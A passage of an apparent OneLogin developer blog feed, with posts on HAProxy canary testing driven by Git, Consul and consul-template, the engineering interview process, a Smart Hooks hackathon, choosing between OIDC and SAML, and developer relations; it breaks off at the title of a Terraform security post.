Also, with the configuration above, it remembers the decision (primary-cluster vs canary-cluster) into a cookie called “&lt;code&gt;foo_canary_&amp;lt;suffix&amp;gt;&quot;.&lt;&#x2F;code&gt; Therefore, on the first request from the user to foo-service HAProxy decides based on weights where the request will be routed and stores this decision into this cookie. Later any following request for foo-service from the user will hit the same cluster (based on cookie). This mechanism ensures that ONLY a configured percentage of users go to canary and that a user won’t be randomly presented back and forth with new and old versions of the service.
&lt;strong&gt;Cookie suffix&lt;&#x2F;strong&gt;
Every canary test should run only for a limited period of time (either you decide to promote to production or stop the test when some issue is found). Therefore, keeping the decision in the canary cookie forever is not desired. To deal with that our canary cookie has “&lt;suffix&gt;” in its name so you can discard the previous decision by changing it. Here is an example:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;You are testing foo-service with 1% using following configuration:
&lt;pre class=&quot;prettyprint&quot;&gt;cookie:  &quot;foo_canary_10&quot;; canary weight: 1, primary weight: 99
&lt;&#x2F;pre&gt;
&lt;li&gt;You found an issue during testing so you stop the test by configuring:
&lt;pre class=&quot;prettyprint&quot;&gt;cookie:  &quot;foo_canary_11&quot;; canary weight: 0, primary weight: 100
&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Note that the suffix in the cookie name was changed from 10 to 11. Every time the name of the cookie is changed, it forces HAProxy to make a new decision based on new weights so your change takes an immediate effect. We use a simple number as a suffix and increment it over time.
Note: If you change weights but keep the cookie name the same then the new configuration will be applied only to users that don’t have a cookie yet.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;updating-haproxy-config&quot;&gt;Updating HAProxy config&lt;&#x2F;h3&gt;
&lt;p&gt;Now you should have a good picture of what our initial implementation of canary testing looked like. It worked and was pretty useful, but it had one major disadvantage: it required us touching HAProxy configuration (and reloading HAProxy) everytime we wanted to update canary testing. Even with HAProxy nodes being managed by puppet it was not sustainable going forward because of following reasons:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The edge proxy is one of most critical components and &quot;manually&quot; messing with its configuration is just too risky.
&lt;li&gt;HAProxy configuration is an unnecessarily complex &quot;interface&quot; to configure canary testing.
&lt;li&gt;Puppet was propagating changes within 1 hour which was a way too slow.
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Therefore, we decided to improve it!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gitops-way-using-consul&quot;&gt;&lt;strong&gt;GitOps way using Consul&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;To eliminate pain points mentioned above we implemented a mechanism where configuration for canary testing resides in a simple JSON file stored in a Git repository. By updating configuration in Git, changes are propagated into all HAProxy nodes within 1 minute. Here is diagram of how it works:
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;canary-test-git.jpg&quot; width=&quot;&quot; alt=&quot;GitOps way using Consul&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We created a Git repository that holds canary testing configuration for our services. Every service has a dedicated JSON file there with simple format: “weight” which represents percentage of traffic going to canary (number from 0 to 100) and “cookie-suffix” used as the suffix for canary cookie in HAProxy. By merging changes in configuration to the “prod” branch, the change is applied to HAProxy nodes in the production environment.
In our production environment, we operate &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;breser&#x2F;git2consul&quot;&gt;git2consul&lt;&#x2F;a&gt; service that mirrors Git repository(s) into Consul key-value store (described later), and it is configured to watch and mirror the “prod” branch of the repository with the canary configuration. It is possible to configure git2consul via JSON file and here is an example of such file you can start with:&lt;&#x2F;p&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;{
  &quot;version&quot;: &quot;1.0&quot;,
  &quot;repos&quot;: [
    {
      &quot;name&quot;: &quot;abc_consul_canary_data&quot;,
      &quot;include_branch_name&quot;: false,
      &quot;ignore_repo_name&quot;: true,
      &quot;ignore_file_extension&quot;: true,
      &quot;expand_keys&quot;: true,
      &quot;url&quot;: &quot;{{URL_TO_YOUR_GIT_REPO}}&quot;,
      &quot;branches&quot;: [&quot;{BRANCH_IN_YOUR_REPO}}&quot;],
      &quot;hooks&quot;: [
        {
          &quot;type&quot;: &quot;polling&quot;,
          &quot;interval&quot;: &quot;1&quot;
        }
      ]
    }
  ]
}
&lt;&#x2F;pre&gt;
&lt;p&gt;Then we have a &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.consul.io&#x2F;&quot;&gt;Consul&lt;&#x2F;a&gt; cluster that is used only as a key-value store in our canary mechanism. Nice thing about Consul is that it comes with a tool called &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hashicorp&#x2F;consul-template&quot;&gt;consul-template&lt;&#x2F;a&gt; that provides an elegant way to generate a file based on content in the Consul key-value store. In our flow, it is used to update the HAProxy configuration file anytime with canary configuration changes.
Therefore, we run consul-template as a “linux” service on HAProxy nodes, where consul-template is responsible for generating the configuration file for HAProxy. Whenever canary configuration in key-value store changes then consul-template detects that, generates a new config for the HAProxy and reloads it (by reloading you tell the HAProxy process to load a new configuration from file). To make that possible we have the HAProxy configuration defined as template for consul-template - our previous example with foo-service would be transformed into a template in following way:&lt;&#x2F;p&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;{{$fooWeight := keyOrDefault &quot;haproxy&#x2F;canary&#x2F;foo-service&#x2F;weight&quot; &quot;0&quot; | parseInt}}
{{$fooSuffix := keyOrDefault &quot;haproxy&#x2F;canary&#x2F;foo-service&#x2F;cookie-suffix&quot; &quot;0&quot; }}

backend be_foo_service
 balance roundrobin
 cookie foo_canary_{{$fooSuffix}} insert indirect nocache domain .yourdomain.com
 server server1 primary-cluster.net ... weight {{subtract $fooWeight 100}} cookie true
 server server2 canary-cluster.net ... weight {{$fooWeight}} cookie false
&lt;&#x2F;pre&gt;
&lt;p&gt;Note that we have default values defined (via &lt;code&gt;keyOrDefault)&lt;&#x2F;code&gt; that are used when the Consul cluster is unavailable - in that case we turn canary testing off as fallback.
You can configure consul-template to generate an haproxy.cfg into a temporary location and then execute a custom script that validates the generated configuration (for instance using “&#x2F;usr&#x2F;sbin&#x2F;haproxy -c -V -f path-to-config-file” command), do a backup of the current configuration, replace haproxy.cfg and then reload the HAProxy.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Alright folks, that’s how our canary testing works. It definitely isn’t a perfect solution, but we are quite happy with it right now. It is extremely easy for our developers to use (everybody knows how to use Git and update a simple JSON file, right?) and the quick propagation time makes a big difference for user experience and in developers’ comfort.
Reasons why it isn’t perfect are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Canary configuration isn&#x27;t validated (we solve this by relying on a peer review process).
&lt;li&gt;It is not easy to see canary configuration for all services (configuration is spread over multiple files) without building some custom dashboard for it.
&lt;li&gt;It is a manual process that requires people to drive it. :)
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Finally, I would like to mention that it isn’t so straightforward to set up a Consul cluster and it can be a bit of an overkill when you need it only for the key-value store.
Thank you for reading. I hope you enjoyed it ;)&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Interviewing within OneLogin Engineering Team</title>
        <published>2021-09-16T00:00:00+00:00</published>
        <updated>2021-09-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/interview-engineering/"/>
        <id>https://developers.onelogin.com/blog/interview-engineering/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/interview-engineering/">&lt;p&gt;So, you have applied for a role with &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;company&#x2F;careers&#x2F;departments&#x2F;engineering&quot;&gt;OneLogin Engineering&lt;&#x2F;a&gt; (or you are thinking about it), but you want to know what you’re getting into. Don’t worry, you’re not alone. Our talent team often receives questions from candidates, like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Who will I be interviewing with?
&lt;li&gt;What types of questions will they ask?
&lt;li&gt;What will they be evaluating?
&lt;li&gt;Will there be white-board coding, technical challenge part, or any other related step?
&lt;li&gt;What should I focus on?
&lt;li&gt;What&#x27;s the process like and how many steps?
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
While some companies may be hesitant to share such information, OneLogin wants to be as open as possible. We understand how daunting and nerve-wracking job interviews can be. As a company that [values](https:&#x2F;&#x2F;www.onelogin.com&#x2F;company&#x2F;culture) curiosity, drive, and bold decision-making, we appreciate candidates that take the initiative and reach out. We also value transparency and direct communication, so we welcome questions and are happy to share information. Interviewing for a job is a two-way street after all!
The following steps describe what you can expect when interviewing at OneLogin and how we think about each of the steps.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;interview-process_2.png&quot; alt=&quot;Overview of the interview process&quot;&gt;
Picture - Overview of the interview process
&lt;h2&gt;
Step one: Initial call with a recruiter
&lt;&#x2F;h2&gt;
After a candidate has applied to an open role, a recruiter reviews their resume and reaches out to schedule a 30-minute call, to assess if they are a good fit for the position.
During this call, our primary goals are to learn as much as we can about the candidate. We check for two things:
&lt;ol&gt;
&lt;li&gt;Alignment between the role&#x27;s responsibilities and the candidate&#x27;s experience
&lt;li&gt;Alignment between what&#x27;s important to the candidate (growth, work culture, etc.) and what OneLogin offers
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
We discuss why the candidate is in the job market, the environment they work best in, the dream current and future role, and how their experience relates to OneLogin. We also use this time to answer any questions and provide a brief overview of OneLogin&#x27;s history and culture. We go over products we&#x27;re working on, structure of the team, role responsibilities and challenges, and perks and benefits offered.
Basically, we sell our team, the exciting and challenging things we&#x27;re working on, and how great our culture is.
## Step Two: &quot;Coffee chat&quot;
&lt;p&gt;Our hiring manager (HM) interviews are 45 - 60 minutes long and are the second step in the process, the HMs are trying to identify:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;What the candidate can bring to their team (&quot;What can you do?&quot;)
&lt;li&gt;Whether the candidate is a good teammate that&#x27;s willing to learn and adapt (&quot;Do we get along? Is it fun?&quot;)
&lt;li&gt;If the candidate has the right technical, interpersonal, and communication skills needed to be successful in the role and at OneLogin (&quot;Is there a fit?&quot;).
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
What we discuss: A candidate can expect a HM to provide more specific and in-depth information about the company, about the team, and what they&#x27;re working on, including what the person in that particular role would be working on. The HM will also go over how the team works together, challenges they face, the growth and outlook for the team, and how the role fits into the team and company. HM is also looking for your motivation to work at OneLogin. There is space for many of your questions, and you might find you are enjoying your coffee with HM for more than 1 hour and there is still a lot of stuff you can chat about.
&lt;h2&gt;
Step Three: Homework assignment
&lt;&#x2F;h2&gt;
For all roles within our Engineering team, we use a homework technical assignment to determine if a candidate has the practical skills required for the position and to provide us ground for skill level assessment (i.e. coding, design, communication) on practical tasks.
*Note: Skill levels are an important part of hiring at OneLogin, and our compensation and [career development](https:&#x2F;&#x2F;resources.onelogin.com&#x2F;onelogin-engineering-career-development-v2.0.pdf) is built around them. We aim for clarity around growth and career development, so we can ensure that everyone is compensated fairly.*
Our assignments are designed in-house and are specific to the role, so they reflect actual projects or challenges that our team works on and the job responsibilities that the candidate would have. Usually, the HM is cc&#x27;d to be ready to answer any related question from you. Once an assessment is sent out, candidates have as long as needed to complete and submit a response. That said, we ask for completion ETA and are looking for your time delivery towards the commitment, communication during solving the assignment, and, of course, the final result.
Once you complete, the team you are interviewing for the role reviews it, and we will be back to you within 3 business days with the result and the next steps.
## Step Four: &quot;Onsite&quot; interview
&lt;p&gt;Prior to the Onsite&#x2F;Zoom interview round, we have our candidates complete a &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;whatis.techtarget.com&#x2F;definition&#x2F;Predictive-Index-PI&quot;&gt;Predictive Index&lt;&#x2F;a&gt; test which helps us to find the best fit candidate from a behavioral perspective. Once this step is finished we will schedule the final round of interviews with the candidate.
The onsite interview typically consists of 3-5 rounds. The interviews are conducted in one of our offices or through zoom video calls and each is about 45-60 minutes long. Typically, candidates meet with team members that they’d be working with directly, and one team member they’d work with indirectly. They also meet one-on-one with one of our VP’s of Engineering.
If a candidate has made it to this point, we’re pretty confident that they’d be a good fit for the team, so the main focus is to test candidate skills and get to know the candidate even more, and make sure that OneLogin is a good fit for them.
This is also our opportunity to showcase more of our culture, plus provide the candidate with a holistic view of working at OneLogin.
After this step, we conduct a hiring team meeting to share feedback on the candidate. This usually happens within 3 business days after the final round and this is the step where the hiring manager puts together the job offer.
That’s our hiring process!
Ultimately, our hiring process is designed with the candidate and their time as the utmost important factor. We know how exhausting and tedious the hiring process can be while you’re also juggling other interviews, your current job, and life in general. Our goal is to get to know you and the things that are important to you to determine if OneLogin is the place where you can grow and expand your skill set while moving our products and company forward.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OneLogin Smart Hooks Hackathon: A Rookie Engineer&#x27;s Perspective</title>
        <published>2021-08-19T00:00:00+00:00</published>
        <updated>2021-08-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/smart-hooks-hackathon/"/>
        <id>https://developers.onelogin.com/blog/smart-hooks-hackathon/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/smart-hooks-hackathon/">&lt;h2 id=&quot;story-preface&quot;&gt;Story Preface&lt;&#x2F;h2&gt;
&lt;p&gt;Every year, during its Technical Kick Off (TKO), OneLogin runs a Hackathon for its employees. Each year there is a different theme or focus. This year the topic was &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;smart-hooks&quot;&gt;OneLogin Smart Hooks&lt;&#x2F;a&gt;. Smart Hooks provide a low code solution customers can use to incorporate their own customizations into OneLogin. For example, they could use the &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;types&#x2F;pre-authentication&quot;&gt;Pre-Authentication Smart Hook&lt;&#x2F;a&gt; to look at where a user is logging in from and require the user to use a different form of MFA depending on their location. Hackathon participants simply had to come up with some sort of solution that enhanced Smart Hooks.
If you are new to the development world and have not yet participated in a &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;blog&#x2F;hackathons-bootcamps-giving-back&quot;&gt;hackathon&lt;&#x2F;a&gt;, we would encourage you to do so. They are an exciting way to learn new skills and a great chance to get to think outside the box. Check out what our own junior developer has to say about her experience.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-tale-of-the-rookie-engineer-at-the-hackathon&quot;&gt;The Tale of the Rookie Engineer at the Hackathon&lt;&#x2F;h2&gt;
&lt;p&gt;Excellent! I have made it into my second OneLogin Hackathon. Can I be proud of myself? How will it work this time after almost 5 months of being part of our DevEx team? Can my contribution be useful this time?
These questions have been flying in my mind after I realized that I made it into my second hands-on Hackathon event at OneLogin. This will be cool, I will be working on such a great topic for this run: OneLogin Smart Hooks.
Sounds cool, but wait - I have actually never gotten to run these “hooks.” What are they? Where can I learn as much as I can? What will be the best approach here?
As you can see, solving the same type of questions as during the previous one hackathon, but this time I can see that it’s way more organized because - and it’s magic - I know at least some magic sources I can use :-)&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Documentation.&lt;&#x2F;strong&gt; This is where a lot of wisdom is hidden. For OneLogin we have a great source of truth here: &lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;&quot;&gt;OneLogin Developers&lt;&#x2F;a&gt;. In this case because the topic of our hackathon is Smart Hooks - I have been digging here: &lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;overview&quot;&gt;Smart Hooks&lt;&#x2F;a&gt;. 
&lt;li&gt;&lt;strong&gt;Repositories.&lt;&#x2F;strong&gt; In this case there is access just to the internal repositories. But if you will be creating or handling OneLogin Smart Hooks you will find a great way to handle them in Postman or other API&#x27;s tools, and you can nicely arrange your hook right there, or choose the classic curl terminal path here.
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;overview&quot;&gt;API Collections&lt;&#x2F;a&gt;.&lt;&#x2F;strong&gt; Yes, this is it - it&#x27;s sitting right here. This is our smart way to handle this magic. Because Smart Hooks are an extension point in OneLogin that let you define customized actions using Javascript code.  
&lt;li&gt;&lt;strong&gt;Mentorship.&lt;&#x2F;strong&gt; And the best source of information in our Engineering world is for sure to know the right people who could help you and&#x2F;or mentor you. Show you the right approach. So build the pool of these smart people around you. It&#x27;s the best you can do when you are starting as an Engineering newbie.
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
Now back to the Hackathon topic - Smart Hooks. Okay, what we can do about and around it? I was able to get together with the UI team. We didn&#x27;t create new hooks at all, but we built a UI where administrators of OneLogin Portal could manage their Smart Hooks in a smart and easy way without the necessity of touching the terminal, Postman or API.
The goal of our team was to make it as smooth and easy as possible - to create a tool that administrators will feel they already know right from the first moment.
We decided to use the same approach as the rest of the OneLogin Admin.
&lt;ul&gt;
&lt;li&gt;The experience for Administrators should be simple and based on already existing  patterns we are using for other product features within OneLogin Portal.
&lt;li&gt;We even created configuration templates and prepared the first two Smart Hooks templates - the &lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;types&#x2F;user-migration&quot;&gt;User Migration Hook&lt;&#x2F;a&gt; and the &lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;smart-hooks&#x2F;types&#x2F;pre-authentication&quot;&gt;Pre-authentication Hook&lt;&#x2F;a&gt;.
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
I was so proud our team was able to achieve the goal in just 3 days and eventually we were announced as one of the hackathon winners!
How can I say that our Smart Hooks project was successful? Because I was able to create the hook and manage it in real time by myself without the need of someone&#x27;s guidance or some documentation support. The flow within our UI was so smooth and easy to understand that even a person who is unfamiliar with our solution could easily understand it and make it work.
## Moral of the Story
&lt;p&gt;Try out a hackathon if you have never done one before. You might be surprised by what you can learn and even more surprised by what you can accomplish.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OIDC or SAML? Which should I choose?</title>
        <published>2021-07-02T00:00:00+00:00</published>
        <updated>2021-07-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/oidc-or-saml/"/>
        <id>https://developers.onelogin.com/blog/oidc-or-saml/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/oidc-or-saml/">&lt;p&gt;OneLogin has robust toolkits, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;api-docs&#x2F;2&#x2F;getting-started&#x2F;client-sdks&quot;&gt;SDKs&lt;&#x2F;a&gt;, universal connectors, and documentation to make it simple to connect your custom developed applications to our platform. OneLogin customers often connect their custom developed applications through &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;saml&#x2F;why-saml&quot;&gt;SAML&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&quot;&gt;OIDC&lt;&#x2F;a&gt;. However, SAML and OIDC are the gold standards for a great user experience coupled with enterprise security. Both SAML &amp;amp; OIDC are well supported, and many customers have successfully integrated their custom applications with OneLogin through each standard. There are reasons why developers may settle on one standard vs the other. Below are decision points you can use to help you decide which SSO standard is right for your team.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;questions-to-ask-yourself-to-see-if-saml-or-oidc-is-a-better-fit-for-you&quot;&gt;Questions to ask yourself to see if SAML or OIDC is a better fit for you:&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;#one&quot;&gt;What languages&#x2F;libraries are most common in our environment?&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;#two&quot;&gt;Are there custom mobile applications we need to consider?&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;#three&quot;&gt;What is the roadmap for our future custom applications?&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;#four&quot;&gt;What is the target audience of users that will be accessing our applications?&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;br&gt;
Let&#x27;s take a look at how answers to each question may impact your decision making:.
### Question 1: What languages&#x2F;libraries are most common in your environment?
&lt;p&gt;Does your organization use a lot of TomCat servers or Java Servers for hosting applications? Are Websphere servers in place today? Many of the commonplace and longstanding container systems like TomCat or Java Servers come with easy to use SAML plugins that make supporting SAML easier for your custom applications. This is because SAML is a 20+ year old, well-adopted enterprise authentication standard. As a result, many legacy servers&#x2F;containers have easy to implement plugins to meet this standard across different languages&#x2F;libraries.
On the other hand, your team may be using more modern server&#x2F;container frameworks like Node.js, AngularJS, or Vue.js. You may be building Single Page Web Applications (SPAs) for the majority of your new services. If that’s the case, a better authentication approach would be leveraging an authentication standard like OIDC that was built with JSON data structures in mind. If you see all future custom application deployments being built within these frameworks, it also may make sense to start leveraging OIDC now. Javascript developers will find OIDC much more intuitive to work with and libraries are continually being updated&#x2F;improved to make OIDC deployments even simpler.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;question-2-are-there-custom-mobile-applications-that-need-to-be-considered&quot;&gt;Question 2: Are there custom mobile applications that need to be considered?&lt;&#x2F;h3&gt;
&lt;p&gt;If your team has or is considering building custom mobile applications, use OIDC rather than SAML. SAML as a standard was created before mobile application development became commonplace. As a result, few libraries&#x2F;toolkits exist to integrate SAML with mobile workflows in mind. On the other hand, OIDC was developed as a standard with mobile use-cases in mind. Developers will find many more toolkits&#x2F;guidance using OIDC for mobile application use-cases. Also, from a security perspective, the OIDC PCKE + Auth Code flow is considered the gold standard for mobile user authentication.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;question-3-what-is-the-roadmap-for-our-future-custom-applications&quot;&gt;Question 3: What is the roadmap for our future custom applications?&lt;&#x2F;h3&gt;
&lt;p&gt;What is the lifecycle of your current custom applications? Do you plan on building many more custom applications? Do you plan on migrating frameworks for your current application set? Are you mainly planning on maintaining your existing application set?&lt;&#x2F;p&gt;
&lt;p&gt;You might be sensing a pattern here but if you are planning on developing your custom applications on modern js frameworks (Node.js, Vue.js, or AngularJS) then OIDC is your best bet. If you have a number of custom java applications, PHP applications, and&#x2F;or .NET applications that you plan on continuing to maintain into the future without significant framework&#x2F;container changes, then SAML would likely be a simpler approach for SSO integration. That said, if the majority of applications you plan on developing are going to use js frameworks, it may make sense to plan on using OIDC for the new apps while leveraging SAML plugins for the legacy apps.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;question-4-what-is-the-target-audience-of-users-that-will-be-accessing-our-applications&quot;&gt;Question 4: What is the target audience of users that will be accessing our applications?&lt;&#x2F;h3&gt;
&lt;p&gt;Do you plan on only having employees access these internal applications? Will multiple customers or partners need access to these applications?
While both SAML and OIDC can be used in tandem with OneLogin to provide access for multiple different types of users, SAML is a more developed standard for integrating with multiple IdPs. So, if you plan on providing access to your custom application directly through multiple IdPs, SAML is likely a better bet. That being said, OneLogin can be used (and many customers frequently use) OneLogin as a federation broker. This way you can connect many IdPs to OneLogin and have a single connection from your application to the OneLogin hub. In this model, your developers only need to worry about federating with one IdP (OneLogin). This means your developers can easily use SAML to give customers&#x2F;partners access to your custom application without directly federating your application to each of your customers’&#x2F;partners’ IdPs.
&lt;em&gt;&lt;strong&gt;OIDC or SAML - what do I do?&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;
In summary, you cannot go wrong with either SSO standard. Both standards will improve your user experience and offer better enterprise security from an access management perspective. OneLogin has out of the box SDKs, toolkits, libraries for both standards and you will find yourselves supported when connecting your custom applications to OneLogin regardless of the direction you take. You will find OIDC is generally seen as the future of enterprise web authentication with the rise of JSON, javascript, and SPA&#x2F;mobile applications. If most of your development frameworks fit into this model, OIDC is likely the best fit. If you intend on integrating many existing PHP, .NET, and&#x2F;or Java based applications with your IdP, then implementing SAML is likely the best path to take.
For reference:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&quot;&gt;OIDC Developer Guidance &amp; Overview&lt;&#x2F;a&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;saml&quot;&gt;Overview of SAML &amp; OneLogin SAML toolkits&lt;&#x2F;a&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;developers.onelogin.com&#x2F;openid-connect&#x2F;enable-app&quot;&gt;Sample OIDC Apps for Testing&lt;&#x2F;a&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=do0agd71hE8&quot;&gt;Video of Using OIDC Inspector from OneLogin&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OneLogin for Developers by Developers</title>
        <published>2021-06-07T00:00:00+00:00</published>
        <updated>2021-06-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/devrel/"/>
        <id>https://developers.onelogin.com/blog/devrel/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/devrel/">&lt;h1 id=&quot;devrel-why-is-it-important&quot;&gt;DevRel - Why is it Important?&lt;&#x2F;h1&gt;
&lt;p&gt;The notion of Developer Relations or DevRel has been around for around 20 years and has skyrocketed in popularity in the late 2010s. DevRel is increasingly becoming a key part of many companies’ business strategies, including big names like Microsoft and Amazon. As software eats the world, it will be paramount for any tech company to have a DevRel group.
As we move into the 21st century, tech literacy becomes more ubiquitous and as such, customers are opting more for easy-to-use APIs and frameworks that let them build their own solutions leveraging your specialized and battle-hardened tech. In addition to serving front-of-house customers, you can now tap into a larger addressable market by renting out your platform for other companies to use in their applications. For example, in addition to serving our front-of-house customers who need workforce identity management, we at OneLogin have opened our APIs so developers can use our services to authenticate users for their own apps.
Developers will likely discover you because your DevRel team puts out a ton of content about a common problem and has established your company as a prolific influencer in the space. Being an influencer enables you to build a community following and reach a wider audience, which gives your company a direct line to the pulse of what is going on in your industry. Information is power and a great DevRel community puts that information right at your fingertips so you can decide what things to build, how to sell your product, and make your services better.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;how-we-do-devrel-at-onelogin&quot;&gt;How we do DevRel at OneLogin&lt;&#x2F;h1&gt;
&lt;p&gt;DevRel is a group that partners with external engineers to help them get the most out of your product. At OneLogin, DevRel ensures our developer-customers are able to find and understand our product, solve problems with it, and be part of a great community where they can have their questions and feedback heard. DevRel is a hybrid of many organizations from Engineering to Product, Sales, and Marketing. Combining each organization’s superpowers, DevRel unlocks new business and enables your product to be used in exciting new ways which generates more buzz for your brand.
Developer relations engineers are part Engineer, PM, Solution Architect, and part Influencer. We work with the product group to figure out the “what” and “why” our products should address, engineers to build and ship our products, and marketing to figure out what topics are engaging and how to best position ourselves and our brand. We write articles, demo integrations, and code samples, produce interesting videos, host intriguing podcasts and talks, and hang out on Discord, Twitter, Reddit, and other social media platforms. Our aim isn’t to sell, but to build relationships as developers to developers and help them reach their goals.
OneLogin’s DevRel journey is just beginning and we’re inviting everyone to follow us as we build out this program and be part of something amazing while getting in on the ground floor. You can follow us on Twitter and &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;company&#x2F;onelogin&#x2F;mycompany&#x2F;&quot;&gt;LinkedIn&lt;&#x2F;a&gt; or drop us a line at &lt;a href=&quot;mailto:developers@onelogin.com&quot;&gt;developers@onelogin.com&lt;&#x2F;a&gt;. We’re also starting up a forum and chat group on Slack or Discord soon and we welcome input as to how you want to engage us.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>HashiCorp Terraform Security Update</title>
        <published>2021-04-27T00:00:00+00:00</published>
        <updated>2021-04-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/hashicorp-security-update/"/>
        <id>https://developers.onelogin.com/blog/hashicorp-security-update/</id>
        
